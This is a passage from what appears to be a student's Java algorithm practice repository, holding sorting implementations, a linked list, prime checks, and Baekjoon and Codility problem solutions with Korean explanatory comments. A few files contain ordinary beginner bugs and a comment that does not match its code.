}
/*
쉘 정렬은 삽입 정렬의 단점을 보완하기 위해서 Donald Shell이 1958년에 고안한 방법입니다.
삽입 정렬은 Array 전체에 대해서 정렬을 수행하게 됩니다.
최악의 경우, 다시말해서 오름차순 정렬을 해야하는데, Array가 내림차순 정렬이 되어있는 경우
연산이 많아지게 될 수 밖에 없습니다.
쉘 정렬의 기본적인 아이디어는 삽입정렬을 하기 전에 정리를 해야한다는 것인데요.
그렇다면, 어떻게 정리를 해야 할가요?
삽입 정렬은 모든 원소에 대해서 검사를 하지만,
쉘 정렬의 경우, 앞에서 구한 어떠한 간격만큼 떨어진 원소에 대해서 삽입정렬을 먼저 수행하고,
그 간격을 점점 줄여 계속 삽입정렬을 하는 방법을 취합니다.
간격은 결국 1이 될 것이며, 1이 되는 때는 곧, 삽입 정렬을 수행하는 것과 동일합니다.
하지만 이미 array가 어느정도 정리되어 있기 때문에, 삽입 정렬에 소모되는 연산이 줄어드는 것입니다.
간격을 어떻게 설정할 것인가?
일단, 배열의 길이를 토대로 설정하는 방법을 생각해 볼 수 있습니다.
배열의 길이를 N이라고 잡았을 때, 첫번째 간격을 N/2, 두번째 간격을 N/4 ... 와 같이 잡는 방법이 있습니다.
N/3, N/9 ... 와 같이 잡을 수도 있습니다.
Donald Shell은 처음에 간격을 2^k (k는 0 이상의 자연수) 혹은 2^k-1로 잡았으며,
Marcin Ciura의 연구에 의하면 1,4,10,23,57,132,301,701,1750 ... 과
같은 간격을 사용하는 것이 연산 시간을 많이 줄인하고 합니다.
아래의 코드는 간격을 N/3-1로 잡고 코딩을 한 것입니다.
*/
class ShellSort2 {
public static <T extends Comparable<? super T>> void shellsort(T[] array){
int compareIdx;
for(int gap = array.length / 2; gap > 0; gap /= 2) {
for(int idx = gap; idx < array.length; idx++) {
T temp = array[idx];
for(compareIdx = idx;
compareIdx >= gap && temp.compareTo(array[compareIdx - gap]) < 0;
compareIdx -= gap) {
array[compareIdx] = array[compareIdx - gap];
}
array[compareIdx] = temp;
}
}
}
}
/*
쉘 정렬(shell sort)은 Donald L. Shell 이라는 사람이 제안한 방법으로 삽입정렬이
어느 정도 정렬된 데이터에 대해서는 상당히 빠른 것에 착안한 방법입니다.
쉘정렬은 일반적으로 삽입정렬의 O(n^2)보다 빠릅니다.
쉘 정렬은 내부적으로는 삽입정렬의 방법을 씁니다. 삽입정렬처럼 전체 데이터를 한번에 정렬하는 것이
아니라 일정한 기준에 따라 여러 개의 부분으로 나누고, 각 부분에서 삽입정렬을 이용합니다.
각 부분의 정렬이 완료되면 다시 더 적은 부분으로 나누어 이전 과정을 반복합니다.
이러한 과정은 부분이 1일때까지 반봅합니다.
쉘 정렬은 삽입정렬에 비해 다음과 같은 2가지 장점이 있습니다.
- 연속적이지 않은 부분 파일에서 자료의 교환이 일어나면 더 큰 거리를 이동합니다.
반면 삽입정렬에서는 한번에 한칸씩만 이동되므로 교환되는 아이템들은 삽입정렬에 비해 최종 위치에 더 가까이 있을 가능성이 높아집니다.
- 부분 파일은 어느 정도 정렬이 된 상태이기 때문에 부분 파일의 개수가 1이 되게 되면 쉘 정렬은 삽입정렬의 특성처럼 빠르게 수행됩니다.
쉘 정렬의 시간 복잡도는 대략 최악의 경우 O(n^2)이지만 평균적인 경우에는 O(n^1.5)로 수렴됩니다.
*/```
P10826.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package backjoon;
import java.math.*;
import java.util.*;
/**
*
* @author jiseonoh
*/
public class P10826 {
public static void main(String args[]) throws Exception {
Scanner sc = new Scanner(System.in);
int n = sc.nextInt();
BigInteger[] d = new BigInteger[Math.max(n+1, 2)];
d[0] = BigInteger.ZERO;
d[1] = BigInteger.ONE;
for (int i=2; i<=n; i++) {
d[i] = d[i-1].add(d[i-2]);
}
System.out.println(d[n]);
}
}
```
PrimeNaive.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm;
/**
*
* @author jiseonoh
*/
public class PrimeNaive {
public boolean simpleSolution(int n) {
if(n < 2) return false;
for(int i=2; i<n; i++) {
if(n%i == 0) return false;
}
return true;
}
/*
sqrt까지만 검사해보면 충분한데, n을 a로 나눌 수 있다면 n에 대한 a의 보수 b(a*b=n)가 반드시 존재하기 때문이다.
만일 a>sqrt이면 b<sqrt이다(sqrt*sqrt=n이니까). 그러므로 n이 소수인지를 알아보기 위해 a까지 검사할 필요는 없다.
b를 통해 이미 검사했기 때문이다.
물론 실제로는 n이 다른 소수로 나뉘는지만 검사하면 된다. 그래서 에라토스테네스 체가 필요하다.
*/
public boolean slightlyBetterSolution(int n) {
if(n < 2) return false;
int sqrt = (int)Math.sqrt(n);
for(int i = 2; i <= sqrt; i++) {
if(n%i == 0) return false;
}
return true;
}
}
```
QuickSort.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm.sort;
/**
*
* @author jiseonoh
*/
public class QuickSort {
public static void main(String[] agrs) {
Integer[] inputArray = {13, 2, 2, 64, 56, 9, 56,96, 29, 41, 95, 8, 42, 66, 93};
QuckSort1 quickSort1 = new QuckSort1();
quickSort1.quickSort(inputArray, 0, (inputArray.length)-1);
System.out.print("출력값 : ");
for(Object item : inputArray) System.out.print(item + ", ");
}
}
/*
Quick Sort is called a Dived and Conquer algorithm since the list is divided into smaller lists as the sorting occurs.
This version is based on a recursive array based implementation which uses the memory call stack to divide the list.
Two keys to understanding to Quick Sort are:
1) Selecting the pivot value. In this very basic implementation the leftmost (lo) index is selectioned as the pivotValue.
2) Sorting the elements between lo and hi according to the pivot. In this implementation the array is divided into two sides:
a known side and an unknown side. At the beginning only the pivotIndex is in the known side.
firstUnknown begins one index after pivotIndex and incriments through the array looking for values less than the pivotValue.
If firstUnknown is less than the pivotValue (meaning it needs to be on the left side of the pivot),
the pivotIndex incriments, then firstUnknown and pivotIndex swap values.
After firstUnknown has incrimented to the end of the list pivotIndex value is placed at the lo index (bein less than the pivot)
and the pivotValue is placed in it's final resting place in the array.
Note that the pivot never gets pushed on the stack after the partition().
The general behavior is to divide the list into sublists according to a pivot, then recusively call the partition() method.
This continues until the recursion has completed and the list is sorted.
Tip : One major difference between Merge Sort and Quick Sort is in Quick Sort the sorting occurs BEFORE the elements are pushed on the stack.
In Merge Sort, the sorting occurs AFTER the elkements are popped from the stack.
Time Complexity
best time : n log(n)
average time : n log(n)
worst time : n^2
*/
class QuckSort1 {
public void quickSort(Comparable[] array, int lo, int hi) {
if(lo < hi) {
int pivot = partition(array, lo, hi);
quickSort(array, lo, pivot - 1);
quickSort(array, pivot + 1, hi);
}
}
private int partition(Comparable[] array, int lo, int hi){
Comparable pivotValue = array[lo];
int pivotIndex = lo;
for(int firstUnknown = pivotIndex + 1; firstUnknown <= hi; firstUnknown++) {
if(array[firstUnknown].compareTo(pivotValue) < 0) {
pivotIndex++;
Comparable temp = array[firstUnknown];
array[firstUnknown] = array[pivotIndex];
array[pivotIndex] = temp;
}
}
array[lo] = array[pivotIndex];
array[pivotIndex] = pivotValue;
return pivotIndex;
}
}
```
FrogJmp.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codility;
/*
A small frog wants to get to the other side of the road.
The frog is currently located at position X and wants to get to a position greater than or equal to Y.
The small frog always jumps a fixed distance, D.
Count the minimal number of jumps that the small frog must perform to reach its target.
Write a function:
public class FrogJmp { public int solution(int X, int Y, int D); }
that, given three integers X, Y and D, returns the minimal number of jumps from position X to a position equal to or greater than Y.
For example, given:
X = 10
Y = 85
D = 30
the function should return 3, because the frog will be positioned as follows:
after the first jump, at position 10 + 30 =40
after the second jump, at position 10 + 30 + 30 = 70
after the third jump, at position 10 + 30 + 30 + 30 = 100
Assume that:
X, Y and D are integers within the range [1..1,000,000,000];
X <= Y.
Complexity:
expected worst-case time complexity is O(1);
expected worst-case space complexity is O(1).
*/
/**
*
* @author jiseonoh
*/
public class FrogJmp {
public int solution(int X, int Y, int D) {
// write your code in Java SE 8
// the frog can jump from position X to a position equal to Y
if ((Y-X)%D == 0) return (Y-X)/D;
// the frog can oly jump from position X to a position greater than Y
else return (Y-X)/D + 1;
}
/*
if(X > Y || D < 0) return 0;
int jumpCount = 0;
jumpCount = (int)Math.ceil((double)(Y-X)/D);
return jumpCount;
*/
}
```
P2750.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package backjoon;
import java.util.*;
/**
*
* @author jiseonoh
*
* 수 정렬하기
* 문제) N개의 수가 주어졌을 때, 이를 오름차순으로 정렬하는 프로그램
*
* 입력)
* 첫째 줄에 수의 개수 N(1 <= N <= 1,000)이 주어집니다. 둘째 줄부터 N개의 줄에는 숫자가 주어집니다.
* 이 수는 절대값이 1,000보다 작거나 같은 정수입니다. 수는 중복되지 않습니다.
*
* 출력)
* 첫째 줄부터 N개의 줄에 오름차순으로 정렬한 결과를 한 줄에 하나씩 출력합니다.
*
*/
public class P2750 {
// soloution 1
public static void main(String args[]) {
Scanner sc = new Scanner(System.in);
int n = sc.nextInt();
ArrayList<Integer> a = new ArrayList<Integer>();
for (int i=0; i<n; i++) {
int temp = sc.nextInt();
a.add(temp);
}
Collections.sort(a);
for (int x : a) {
System.out.println(x);
}
}
//solution 2
public static void solution2() {
Scanner sc = new Scanner(System.in);
int n = sc.nextInt();
int[] a = new int[n];
for (int i=0; i<n; i++) {
a[i] = sc.nextInt();
}
Arrays.sort(a);
for (int x : a) {
System.out.println(x);
}
}
}
```
UniqueChars.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm;
import java.util.Scanner;
/**
*
* @author jiseonoh
*
*
* 코딩 인터뷰 완전 분석 - python 문자열에 포함된 문자들이 전부 유일한 지 검사하는 알고리즘
Time Complexity: O(n)
Space Complexity: O(n)
Implement an algorithm to determine if a string has all unique characters.
What if you can not use additional data structures?
[A][B][C][D] -> PASS
[A][B][A][D] -> FAIL
질문의 순서
1) 각 캐릭터들을 한번씩 비교한다? O(N^2)
2) 더나은 방법이 있을까.. 가장 빠른 속도로 접근할 수 있는 건 무엇일까.
3) 알파벳을 히쉬에 저장하고, 해쉬의 복잡도 O(n)
4) 그래.. 더 향상시킬 수 있는 방법이 있을까
5) 일단 캐릭터는 아스키문자 (총 256자 니까) 만약 256 개보다 많다면 걔는 중복이 있는것.
*/
public class UniqueChars {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String input = sc.nextLine();
executeAlgorithm(input);
}
public static boolean executeAlgorithm(String input) {
if(input.length() > 128)
return false;
boolean[] charSet = new boolean[256];
for(int i = 1; i<input.length(); i++) {
int value = input.charAt(i);
if(charSet[value]) return false;
charSet[value] = true;
}
return true;
}
}
```
FibbonacciTuning.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm.sort;
/**
*
* @author jiseonoh
*/
public class FibbonacciTuning {
private int[] memoization;
public int fibonacci(int i) {
if(i == 0) return 0;
if(i == 1) return 1;
if(memoization[i] != 0) return memoization[i]; //캐시된 결과 반환
memoization[i] = fibonacci(i-1) + fibonacci(i-2); //계산 결과 캐시
return memoization[i];
}
public int solution(int input) {
memoization = new int[input];
return fibonacci(input);
}
}
```
LinkedList.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm.datastructure;
/**
*
* @author jiseonoh
*/
public class LinkedList {
// 첫번째 노드를 가리키는 필드
private Node head;
private Node tail;
private int size = 0;
private class Node {
// 데이터가 저장될 필드
private Object data;
// 다음 노드를 가리키는 필드
private Node next;
public Node(Object input) {
this.data = input;
this.next = null;
}
// 노드의 내용을 쉽게 출력해서 확인해 볼수 있는 기능
public String toString() {
return String.valueOf(this.data);
}
}
public void addFirst(Object input) {
// 노드를 생성합니다.
Node newNode = new Node(input);
// 새로운 노드의 다음 노드로 헤드를 지정합니다.
newNode.next = head;
// 헤드의 새로운 노드를 지정합니다.
head = newNode;
size++;
if(head.next == null)
tail = head;
}
public void addLast(Object input) {
// 노드를 생성합니다.
Node newNode = new Node(input);
// 리스트의 노드가 없다면 첫번째 노드를 추가하는 메소드를 사용합니다.
if(size == 0) {
addFirst(input);
} else {
// 마지막 노드의 다음 노드로 생성한 노드를 지정합니다.
tail.next = newNode;
// 마지막 노드를 갱신합니다.
tail = newNode;
// 엘리먼트의 개수를 1 증가시킵니다.
size++;
}
}
Node node(int index) {
Node x = head;
for (int i = 0; i < index; i++) x = x.next;
return x;
}
public void add(int k, Object input) {
// 만약 k가 0이라면 첫번째 노드에 추가하는 것이기 때문에 addFirst를 사용한다.
if(k == 0) {
addFirst(input);
} else {
Node temp1 = node(k-1);
// k번째 노드를 temp2로 지정합니다.
Node temp2 = temp1.next;
// 새로운 노드를 생성합니다.
Node newNode = new Node(input);
// temp1의 다음 노드로 새로운 노드를 지정합니다.
temp1.next = newNode;
// 새로운 노드의 다음 노드로 temp2를 지정합니다.
newNode.next = temp2;
size++;
// 새로운 노드의 다음 노드가 없다면 새로운 노드가 마지막 노드이기때문
if(newNode.next == null) {
tail = newNode;
}
}
}
public Object removeFirst() {
// 첫번째 노드를 temp로 지정하고 head의 값을 두번째 노드로 변경합니다.
Node temp = head;
head = temp.next;
// 데이터를 삭제하기 전에 리턴할 값을 임시 변수에 담습니다.
Object returnData = temp.data;
temp = null;
size--;
return returnData;
}
public Object remove(int k) {
if(k == 0) return removeFirst();
// k-1번째 노드를 temp의 값으로 지정합니다.
Node temp = node(k-1);
// 삭제 노드를 todoDeleted에 기록해 둡니다.
// 삭제 노드를 지금 제거하면 삭제 앞 노드와 삭제 뒤 노드를 연결할 수 없습니다.
Node todoDeleted = temp.next;
// 삭제 앞 노드의 다음 노드로 삭제 뒤 노드를 지정합니다.
temp.next = temp.next.next;
// 삭제된 데이터를 리턴하기 위해서 returnData에 데이터를 저장합니다.
Object returnData = todoDeleted.data;
if(todoDeleted == tail) tail = temp;
// cur.next를 삭제합니다.
todoDeleted = null;
size--;
return returnData;
}
public Object removeLast() {
return remove(size-1);
}
public int size() {
return this.size;
}
public Object get(int k) {
Node temp = node(k);
return temp.data;
}
public int indexOf(Object data) {
// 탐색 대상이 되는 노드를 temp로 지정합니다.
Node temp = head;
// 탐색 대상이 몇번째 엘리먼트에 있는지를 의미하는 변수로 index를 사용합니다.
int index = 0;
// 탐색 값과 탐색 대상의 값을 비교합니다.
while(temp.data != data) {
temp = temp.next;
index++;
// temp의 값이 null이라는 것은 더이상 탐색대상이 없다는 것을 의미
if(temp == null) return -1;
}
// 탐색 대상을 찾았다면 대상의 인덱스 값을 리턴.
return index;
}
}
```
README.md
```# Algorithm
기본 정렬/탐색 알고리즘 코드
```
P1764.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package backjoon;
import java.util.*;
import java.io.*;
/**
*
* @author jiseonoh
*/
public class P1764 {
public static void main(String args[]) throws IOException {
}
public static void treemapSolution() throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String[] line = br.readLine().split(" ");
int n = Integer.parseInt(line[0]);
int m = Integer.parseInt(line[1]);
TreeMap<String, Integer> d = new TreeMap<String, Integer>();
for(int i=0; i<n; i++) {
String name = br.readLine();
d.put(name, 1);
}
for(int i=0; i<m; i++) {
String name = br.readLine();
Integer v = d.get(name);
if (v == null) v = 0;
v += 2;
d.put(name, v);
}
ArrayList<String> a = new ArrayList<String>();
for(Map.Entry<String, Integer> entry : d.entrySet()) {
String key = entry.getKey();
Integer value = entry.getValue();
if (value == 3) a.add(key);
}
System.out.println(a.size());
for(String name : a) {
System.out.println(name);
}
}
public static void hashmapSolution() throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String[] line = br.readLine().split(" ");
int n = Integer.parseInt(line[0]);
int m = Integer.parseInt(line[1]);
HashMap<String, Integer> d = new HashMap<String, Integer>();
for (int i=0; i<n; i++) {
String name = br.readLine();
d.put(name, 1);
}
for (int i=0; i<m; i++) {
String name = br.readLine();
Integer v = d.get(name);
if(v == null) v =0;
v += 2;
d.put(name, v);
}
ArrayList<String> a = new ArrayList<String>();
for(Map.Entry<String, Integer> entry : d.entrySet()) {
String key = entry.getKey();
Integer value = entry.getValue();
if(value == 3) a.add(key);
}
System.out.println(a.size());
Collections.sort(a);
for(String name : a) {
System.out.println(name);
}
}
}
```
P10827.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package backjoon;
import java.math.*;
import java.util.*;
/**
* 문제) 실수 a와 정수 b가 주어졌을때, a의 b제곱을 정확하게 계산하는 프로그램을 작성하시오.
*
* 입력) 첫째 줄에 a와 b가 주어진다. (0<a<100, 1<=b<=100) a는 최대 소수점 9자리이며, 소수가 0으로 끝나느 경우는 없습니다.
* 출력) 첫째 출에 a의 b제곱을 출력합니다.
*
*
* @author jiseonoh
*/
public class P10827 {
public static void main(String args[]) {
Scanner sc = new Scanner(System.in);
// BigInteger와 비슷하지만 정확한 실수연산을 하는 자료형
BigDecimal a = sc.nextBigDecimal();
int b = sc.nextInt();
BigDecimal c = a.pow(b);
// 출력할때 c.toString()은 정확한 값이 나오지 않으므로, toPlainString 메소드를 써야함.
System.out.println(c.toPlainString());
}
}
```
PermMissingElem.java
```package codility;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
import java.util.*;
/**
*
* @author jiseonoh
*/
public class PermMissingElem {
public static void main(String[] args) {
int[] myIntArray = {};
PermMissingElemSolution mySolution = new PermMissingElemSolution();
System.out.println(mySolution.solution(myIntArray));
}
}
class PermMissingElemSolution {
public int solution(int[] A) {
if(null == A) return 1;
int length = A.length;
if(length == 0) return length;
ArrayList<String> tempList = new ArrayList<>();
for(int number = 1; number <= length+1; number++) tempList.add(Integer.toString(number));
for(int index = 0; index < length; index++) tempList.remove(Integer.toString(A[index]));
return Integer.parseInt(tempList.get(0));
}
}
```
ThreadAndLock.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codinginterview;
/**
*
* @author jiseonoh
*/
public class ThreadAndLock {
public interface Runnable {
void run();
}
public static class RunnableThreadExample implements java.lang.Runnable{
public int count = 0;
@Override
public void run() {
System.out.println("RunnableThread starting.");
try {
while(count < 5) {
Thread.sleep(500);
count++;
}
} catch(InterruptedException exc) {
System.out.println("RunnableThread interrupted.");
}
System.out.println("RunnableThread terminating.");
}
}
public static void main(String[] args) {
RunnableThreadExample instance = new RunnableThreadExample();
Thread thread = new Thread(instance);
thread.start();
/* 쓰레드 개수가 5가 될때까지 (천천히) 기다린다. */
while(instance.count != 5) {
try {
thread.sleep(250);
} catch(InterruptedException exc) {
exc.printStackTrace();
}
}
}
}
class MyThreadExample {
public static class ThreadExample extends java.lang.Thread {
int count = 0;
public void run() {
System.out.println("Thread starting.");
try {
while(count < 5) {
Thread.sleep(500);
System.out.println("In Thread, count is " + count);
count++;
}
} catch (InterruptedException exc) {
System.out.println("Thread interrupted.");
}
System.out.println("Thread terminating.");
}
}
public static void main(String args[]) {
ThreadExample instance = new ThreadExample();
instance.start();
while (instance.count != 5) {
try {
Thread.sleep(250);
} catch (InterruptedException exc) {
exc.printStackTrace();
}
}
}
}
class MyClass extends Thread {
private String name;
private MyObject myObj;
public MyClass(MyObject obj, String n) {
name = n;
myObj = obj;
}
public void run() {
myObj.foo(name);
}
}
class MyObject {
/*
public synchronized void foo(String name) {
try {
System.out.println("Thread : " + name + ".foo(): starting");
Thread.sleep(3000);
System.out.println("Thread " + name + ".foo(): ending");
} catch (InterruptedException exc) {
System.out.println("Thread : " + name + ": interrupted.");
}
}
*/
public void foo(String name) {
synchronized(this) {
// ...
}
}
}
```
PermMissingElement.java
```package codility;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
*
* @author jiseonoh
*/
public class PermMissingElement {
public static void main(String[] args) {
int[] myIntArray = {1,2,4};
PermMissingElementSolution mySolution = new PermMissingElementSolution();
try {
System.out.println(mySolution.solution(myIntArray));
} catch(Exception e) {
System.out.println(e.getMessage());
}
}
}
class PermMissingElementSolution {
public int solution(int[] A) throws Exception {
Exception inputException = new Exception("invalid input eror");
Exception resultException = new Exception("invalid result error");
// 예외 처리
if(null == A || A.length == 0) throw inputException;
if(A.length == 1 && A[0] != 1) throw inputException;
int arraySize = A.length;
int result = 0, index = 1, targetSum = 0, arraySum = 0;
for(index = 1; index < arraySize+2; index++) targetSum += index;
for(index = 0; index < arraySize; index++) arraySum += A[index];
result = targetSum - arraySum;
if(result < 1) throw resultException;
return result;
}
}
/*
class Solution {
public int solution(int[] A) {
// 예외 처리
try {
return this.solve(A);
} catch(Exception e) {
return 0;
}
}
public int solve(int[] A) throws Exception{
Exception inputException = new Exception("invalid input eror");
if(null == A || A.length == 0) throw inputException;
if(A.length == 1 && A[0] != 1) throw inputException;
int arraySize = A.length;
int result = 0, index = 1, targetSum = 0, arraySum = 0;
for(index = 1; index < arraySize+2; index++) targetSum += index;
for(index = 0; index < arraySize; index++) arraySum += A[index];
result = targetSum - arraySum;
if(result < 1) throw new Exception("invalid result error");;
return result;
}
}
*/```
MergeSort.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm.sort;
import java.util.*;
/**
*
* @author jiseonoh
*/
public class MergeSort {
public static void main(String[] args) {
Integer[] inputArray = {13, 2, 2, 64, 56, 9, 56,96, 29, 41, 95, 8, 42, 66, 93};
MergeSrot1 mergeSort1 = new MergeSrot1();
mergeSort1.mergeSort(inputArray, 0, (inputArray.length)-1);
System.out.print("출력값 : ");
for(Object item : inputArray) System.out.print(item + ", ");
//executer();
}
public static void executer() {
do {
System.out.println(",로 구분하여 정렬하고싶은 값을 입력해주세요");
Scanner sc = new Scanner(System.in);
String input = sc.nextLine();
System.out.println("입력값 : " + input);
Comparable[] inputArray = input.split(",");
MergeSrot1 mergeSort1 = new MergeSrot1();
mergeSort1.mergeSort(inputArray, 0, (inputArray.length)-1);
System.out.print("출력값 : ");
for(Object item : inputArray) System.out.print(item + ", ");
System.out.println("\n계속 진행하시겠습니까?");
if(!sc.nextLine().startsWith("y")) break;
} while(true);
}
}
/*
Merge Sort is called a Divide and Conquer algorithm since the list is divided into sublists as the sorting occurs.
This recursive array based implemestation uses the memory call stack to divide the list. (메모리 콜스택을 사용)
The behavior in MergeSort() is as follows: The list is divided in half (if an there's an odd number of elements, the left hand side is the larger side).
The halves are pushed onto the stack based on mergeSort()'s recursive call sequence, effectively making sublists.
As base cases are hit and the left and right sublists are popped from the stack the merge() method is called which sorts the popped sublists.
This recursive behavior of dividing the list into sublists, then merging and sorting the sublists continues until the recursion has completed and the lists is sorted.
Tip: One major difference between Merge Sort and Quick Sort is with Merge Sort the sorting occurs AFTER the the elements are popped from the stack.
In Quck Sort the sorting occurs BEFORE the elements are pushed on the stack.
Time Complexity
best time: n log(n)
average time: n log(n)
worst time: n log(n)
*/
class MergeSrot1 {
public void mergeSort(Comparable[] array, int first, int last) {
if(first < last) {
int mid = (first + last) / 2; // 중간값을 구한다.
// 재귀 호출이라서, 콜스택 레벨 마지막부터 코드가 실행된다.
// (first 1개 -> 2개 ... -> n개 배열 정렬 -> second 1개 -> 2개 ... -> n개 배열 정렬)
// ==> 이후 전체 정렬
mergeSort(array, first, mid);
mergeSort(array, mid + 1, last);
merge(array, first, mid, last);
}
}
public void merge(Comparable[] array, int first, int mid, int last) {
Comparable[] temp = new Comparable[array.length];
int first1 = first, first2 = mid + 1;
int last1 = mid, last2 = last;
int index = first;
while(first1 <= last1 && first2 <= last2) {
if (array[first1].compareTo(array[first2]) < 0) {
temp[index] = array[first1];
first1++;
} else {
temp[index] = array[first2];
first2++;
}
index++;
}
while(first1 <= last1) {
temp[index] = array[first1];
first1++;
index++;
}
while(first2 <= last2) {
temp[index] = array[first2];
first2++;
index++;
}
for(index = first; index <= last; index++) {
array[index] = temp[index];
}
}
}
```
P1927.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package backjoon;
import java.util.*;
/**
*
* @author jiseonoh
*/
public class P1927 {
public static void main(String args[]) {
Scanner sc = new Scanner(System.in);
PriorityQueue<Integer> q = new PriorityQueue<Integer>();
int n = sc.nextInt();
while (n-- > 0) {
int x = sc.nextInt();
if( x == 0 ) {
if(q.isEmpty()) {
System.out.println(0);
} else {
System.out.println(q.poll());
}
} else {
q.offer(x);
}
}
}
}
```
SelfNumber.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm;
/**
*
* @author jiseonoh
*/
class SelfNumber {
public static void main(String[] args) {
int a, b, c, d, result, sum = 0;
boolean[] generated = new boolean[5000];
for(int generator = 1; generator < 5000; generator++) {
a = generator / 1000;
b = (generator / 100) % 10;
c = (generator / 10) % 10;
d = generator % 10;
result = a + b + c + d + generator;
if((result >= 1) && (result < 5000)) {
generated[result] = true;
}
}
for(int i = 1; i < 5000; i++) {
if(generated[i]==false) {
sum = sum+i;
}
}
System.out.println("Self-Number의 합계는 : " + sum);
}
}
```
SortExam.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm.sort;
/**
*
* @author jiseonoh
*/
class SortExam {
public static void main(String[] args) {
// [선택정렬] 테스트
System.out.println("[선택 정렬]");
int a[] = {68, 9, 32, 2, 14, 7, 31, 26};
Sort s = new Sort();
System.out.printf("\n정렬할 원소 : ");
for(int v : a) { System.out.printf("%3d", v); }
System.out.println();
s.selectionSort(a);
// [버블정렬] 테스트
System.out.println();
System.out.println("[버블 정렬]");
int b[] = {68, 9, 32, 2, 14, 7, 31, 26};
System.out.printf("\n정렬할 원소 : ");
for(int v : b) { System.out.printf("%3d", v); }
System.out.println();
s.bubbleSort(b);
// [삽입정렬] 테스트
System.out.println();
System.out.println("[삽입 정렬]");
int c[] = {68, 9, 32, 2, 14, 7, 31, 26};
System.out.printf("\n정렬할 원소 :");
for(int v: c) System.out.printf("%3d", v);
System.out.println();
s.insertionSort(c);
}
}
class Sort {
public void swap(int array[], int idx1, int idx2) {
int temp = array[idx1];
array[idx1] = array[idx2];
array[idx2] = temp;
}
/*
선택 정렬(Selection Sort)은 전체 원소들 중에서
기준위치에 맞는 원소를 선택하여 자리를 교환하는 방식으로 정렬.
*/
public void selectionSort(int array[]) {
for(int i=0; i<array.length-1; i++) {
int min = i;
for(int j=i+1; j<array.length; j++) {
if(array[j] < array[min]) { min = j; }
}
swap(array, min, i);
System.out.printf("\n선택 정렬 %d 단계 : ", i+1);
for(int item : array) {
System.out.printf("%3d", item);
}
// System.out.println(Arrays.toString(a));
}
System.out.println();
}
/*
버블 정렬(Bubble Sort)은 인접한 두개의 원소를 비교하여 자리를 교환하는 방식으로 정렬
첫번째 원소부터 인접한 원소끼리 계속 자리를 교환하면서 맨 마지막자리로 이동하는 모습이
물속에서 물위로 올라오는 물방울 모양과 같다고 해서 버블 정렬이라고 한다.
*/
public void bubbleSort(int array[]) {
int size = array.length;
for(int i=size-1; i>0; i--) {
System.out.printf("\n버블 정렬 %d 단계 : ", size-i);
for(int j=0; j<i; j++) {
if(array[j] > array[j+1]) swap(array, j, j+1);
System.out.printf("\n\t");
for(int v : array) { System.out.printf("%3d", v); }
}
}
System.out.println();
}
/*
삽입 정렬(Insert Sort)은 정렬되어 있는 부분집합에
새로운 원소의 위치를 찾아 삽입하는 정렬 방식 S(Sorted)와 U(Unsorted).
@param a
*/
public void insertionSort(int array[]) {
int size = array.length;
for(int i=1; i < size; i++) {
int temp = array[i];
int j = i;
while((j>0) && (array[j-1]>temp)) {
array[j] = array[j-1];
j--;
}
array[j] = temp;
System.out.printf("\n삽입정렬 %d 단계 : ", i);
for(int v : array) System.out.printf("%3d", v);
}
System.out.println();
}
}
```
DesignPattern.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codinginterview;
/**
*
* @author jiseonoh
*/
public class DesignPattern {
}
class Restaurant {
private static Restaurant _instance = null;
public static Restaurant getInstance() {
if(_instance == null ){
_instance = new Restaurant();
}
return _instance;
}
}
interface GameType {
public static CardGame Poker = new PokerGame();
public static CardGame BlackJack = new BlackJackGame();
}
class PokerGame extends CardGame {}
class BlackJackGame extends CardGame {}
class CardGame {
public static CardGame createCardGame(GameType type) {
if(type == GameType.Poker) {
return new PokerGame();
} else if (type == GameType.BlackJack) {
return new BlackJackGame();
}
return null;
}
}
```
BubbleSort.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm.sort;
/**
*
* @author jiseonoh
*/
public class BubbleSort {
/*
1. 인접한 두 인덱스를 비교해서 정렬이 되어있지 않을 경우 정렬한다.
2. 리스트 처음부터 끝까지 이런식의 정렬을 하고 나면 제일 마지막 리ㅏ스트에는 제일 큰 값(또는 작은 값)이 저장된다.
3. 다시 처음 리스트부터 마지막 리스트 이전 리스트까지 서로 이웃한 인덱스를 비교해가며 정렬한다.
4. 위 방법으로 계속해서 정렬한다.
*/
public static void main(String[] args) {
int[] index = {8,4,7,3,1,6,5,2};
int i, j, temp;
